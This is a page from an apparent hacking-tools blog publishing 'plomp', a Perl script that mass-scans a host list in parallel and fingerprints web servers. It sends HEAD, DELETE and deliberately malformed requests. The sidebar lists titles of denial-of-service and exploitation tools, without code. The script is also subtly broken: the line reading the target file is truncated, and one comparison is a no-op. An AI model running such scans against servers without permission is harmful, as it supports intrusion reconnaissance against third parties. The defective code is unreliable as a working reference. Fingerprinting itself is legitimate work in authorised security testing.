# plomp by andrew cook (andrew-cook@live.com) (efnet: sshlong)
#
# high speed http(80) banner retrieval an analysis. plomp grabs the version
# info from the banner if present and reports it. However, by also sending
# a series malformed requests to the server plomp is able to determine if
# the version information in the banner has been altered.
#
# USAGE: plomp -t -n
#

use IO::Socket;
use Getopt::Std;

@http_report = ();

$spawns=0;
%options=();
getopts("n:t:", \%options);
if($options{n} > 0 && $options{n} < 1000) {
$max_children=$options{n};
} else {
$max_children=9;
}

if($options{t}) {
$hostlist=$options{t};
} else {
die "usage: plomp -t -n ";
}

open(TARGETS,$hostlist);
@targets=;
chomp(@targets);
foreach(@targets) {
if( fork() == 0) {
http_scan($_);

print("$target http report\n");
print("------------------------------------------\n");
print("apache: $http_report[1]\n");
print("iis: $http_report[2]\n");
print("Sun: $http_report[3]\n");
print("$http_report[4]\n\n");

exit;

} else {
$spawns++;
if($spawns >= $max_children) {
wait();
$spawns--;
}
}
}

sub http_scan() {

my $apache=0;
my $iis=0;
my $sunjava=0;

my @lines;
$target=$_;
my $http_head = "HEAD / HTTP/1.0\n\n";
my $http_delete = "DELETE / HTTP/1.0\n\n";
my $http_get = "GET / HTTP/6.9\n\n";
my $http_improper = "POOP / HTTP/1.0\n\n";
my $http_port=80;

if( my $shitbox = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => $target,
PeerPort => $http_port,
Timeout => '5'
) ) {
print $shitbox "$http_head";
@lines=<$shitbox>;
foreach $match (@lines) {
if($match =~ /server/i) {
$resp1=$match;
}

}
}
if( my $shitbox = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => $target,
PeerPort => $http_port,
Timeout => '9'
) ) {
print $shitbox "$http_delete";
@lines=<$shitbox>;
foreach(@lines) {
if($_ =~ /405 Method/) {
$apache += 1;
} elsif($_ =~ /501/) {
$iis += 1;
}
}
}
if(my $shitbox = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => $target,
PeerPort => $http_port,
Timeout => '9'
) ) {
print $shitbox "$http_get";
@lines=<$shitbox>;
foreach(@lines) {
if($_ =~ /400/) {
$resp3=$_;
}
elsif($_ =~ /505 HTTP/i) {
$resp3+$_;
$sunjava += 1;
}
}
}
if(my $shitbox = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => $target,
PeerPort => $http_port,
Timeout => '9'
) ) {
print $shitbox "$http_improper";
@lines=<$shitbox>;
foreach(@lines) {
if($_ =~ /200/) {
$apache += 1;
} elsif($_ =~ /400/) {
$iis += 1;
$sunjava += 1;
}
}
}
if($resp1 =~ /apache/i) { $apache += 1; }
elsif($resp1 =~ /iis/i) { $iis += 1; }
elsif($resp1 =~ /sun/i) { $sunjava += 1; }

@http_report[0] = $target;
@http_report[1] = ($apache * 33) . "%";
@http_report[2] = ($iis * 33) . "%";
@http_report[3] = ($sunjava * 33) . "%";
@http_report[4] = $resp1;
}[/cc]

usage:
[cc lang="bash"]plomp -t -n [/cc]

Tagged as: analysis, banner retrieval, HTTP, plomp, script, scripts, source code, tool, tools No Comments

Older Entries »

Follow @lo0_ro

Disclaimer

This website was created for educational purposes. The owner will not take any responsibility for any action you cause using the information shown in this website. Please do not contact me with blackhat type hacking requests. Thanks

lo0.ro cat /dev/null > stupidity – nobody is safe

Mole – automatic SQL Injection exploitation tool

KillApachePy Range Header DoS

ThcSslDOS

Apache Server 2.3.14 Denial of Service exploit

Killapache DDOS improved

[CHECK] (Vulned : "HTTP/1.1 206 Partial Content") ::

[ATACK] ::

[LOG] ::

Tiny PHP Shell

PMCMA automated exploitation tool

multinjector by Raviv Raz

H4ckCity Auto T00ls v1.0

plomp http banner retrieval and analysis

Disclaimer

Categories

Tags

Meta